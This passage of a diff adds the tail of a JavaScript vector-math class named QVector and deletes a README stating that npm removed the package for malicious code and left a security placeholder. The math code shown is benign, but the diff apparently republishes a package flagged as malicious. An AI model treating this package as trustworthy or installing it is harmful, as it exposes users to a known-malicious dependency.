|
|
76
|
+
* @param {number} a
|
|
77
|
+
* @param {number} b
|
|
78
|
+
* @returns {number}
|
|
79
|
+
*/
|
|
80
|
+
static hypotenuse(a, b) {
|
|
81
|
+
return Math.sqrt(a ** 2 + b ** 2);
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
/**
|
|
85
|
+
* Calculate the distance between two points in 2D space
|
|
86
|
+
* @param {number} x1
|
|
87
|
+
* @param {number} y1
|
|
88
|
+
* @param {number} x2
|
|
89
|
+
* @param {number} y2
|
|
90
|
+
* @returns {number}
|
|
91
|
+
*/
|
|
92
|
+
static distance2D(x1, y1, x2, y2) {
|
|
93
|
+
return this.hypotenuse(x2 - x1, y2 - y1);
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
/**
|
|
97
|
+
* Calculate the distance between two points in 3D space
|
|
98
|
+
* @param {number} x1
|
|
99
|
+
* @param {number} y1
|
|
100
|
+
* @param {number} z1
|
|
101
|
+
* @param {number} x2
|
|
102
|
+
* @param {number} y2
|
|
103
|
+
* @param {number} z2
|
|
104
|
+
* @returns {number}
|
|
105
|
+
*/
|
|
106
|
+
static distance3D(x1, y1, z1, x2, y2, z2) {
|
|
107
|
+
return Math.sqrt((x2 - x1) ** 2 + (y2 - y1) ** 2 + (z2 - z1) ** 2);
|
|
108
|
+
}
|
|
109
|
+
|
|
110
|
+
/**
|
|
111
|
+
* Calculate the angle between two vectors in 2D space
|
|
112
|
+
* @param {number} x1
|
|
113
|
+
* @param {number} y1
|
|
114
|
+
* @param {number} x2
|
|
115
|
+
* @param {number} y2
|
|
116
|
+
* @returns {number} Angle in degrees
|
|
117
|
+
*/
|
|
118
|
+
static angleBetweenVectors2D(x1, y1, x2, y2) {
|
|
119
|
+
const dotProduct = x1 * x2 + y1 * y2;
|
|
120
|
+
const magnitude1 = Math.sqrt(x1 ** 2 + y1 ** 2);
|
|
121
|
+
const magnitude2 = Math.sqrt(x2 ** 2 + y2 ** 2);
|
|
122
|
+
const cosTheta = dotProduct / (magnitude1 * magnitude2);
|
|
123
|
+
return this.acos(cosTheta);
|
|
124
|
+
}
|
|
125
|
+
|
|
126
|
+
/**
|
|
127
|
+
* Normalize a vector in 2D space
|
|
128
|
+
* @param {number} x
|
|
129
|
+
* @param {number} y
|
|
130
|
+
* @returns {object} Normalized vector
|
|
131
|
+
*/
|
|
132
|
+
static normalizeVector2D(x, y) {
|
|
133
|
+
const magnitude = Math.sqrt(x ** 2 + y ** 2);
|
|
134
|
+
return { x: x / magnitude, y: y / magnitude };
|
|
135
|
+
}
|
|
136
|
+
|
|
137
|
+
/**
|
|
138
|
+
* Normalize a vector in 3D space
|
|
139
|
+
* @param {number} x
|
|
140
|
+
* @param {number} y
|
|
141
|
+
* @param {number} z
|
|
142
|
+
* @returns {object} Normalized vector
|
|
143
|
+
*/
|
|
144
|
+
static normalizeVector3D(x, y, z) {
|
|
145
|
+
const magnitude = Math.sqrt(x ** 2 + y ** 2 + z ** 2);
|
|
146
|
+
return { x: x / magnitude, y: y / magnitude, z: z / magnitude };
|
|
147
|
+
}
|
|
148
|
+
|
|
149
|
+
/**
|
|
150
|
+
* Rotate a 2D vector by a given angle
|
|
151
|
+
* @param {number} x
|
|
152
|
+
* @param {number} y
|
|
153
|
+
* @param {number} angle Angle in degrees
|
|
154
|
+
* @returns {object} Rotated vector
|
|
155
|
+
*/
|
|
156
|
+
static rotateVector2D(x, y, angle) {
|
|
157
|
+
const radians = this.toRadians(angle);
|
|
158
|
+
return {
|
|
159
|
+
x: x * Math.cos(radians) - y * Math.sin(radians),
|
|
160
|
+
y: x * Math.sin(radians) + y * Math.cos(radians),
|
|
161
|
+
};
|
|
162
|
+
}
|
|
163
|
+
|
|
164
|
+
/**
|
|
165
|
+
* Calculate the projection of a vector onto another in 2D space
|
|
166
|
+
* @param {number} x1
|
|
167
|
+
* @param {number} y1
|
|
168
|
+
* @param {number} x2
|
|
169
|
+
* @param {number} y2
|
|
170
|
+
* @returns {object} Projected vector
|
|
171
|
+
*/
|
|
172
|
+
static projectVector2D(x1, y1, x2, y2) {
|
|
173
|
+
const dotProduct = x1 * x2 + y1 * y2;
|
|
174
|
+
const magnitudeSquared = x2 ** 2 + y2 ** 2;
|
|
175
|
+
const scale = dotProduct / magnitudeSquared;
|
|
176
|
+
return { x: scale * x2, y: scale * y2 };
|
|
177
|
+
}
|
|
178
|
+
}
|
|
179
|
+
|
|
180
|
+
module.exports = QVector;
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=qvector for more information.
|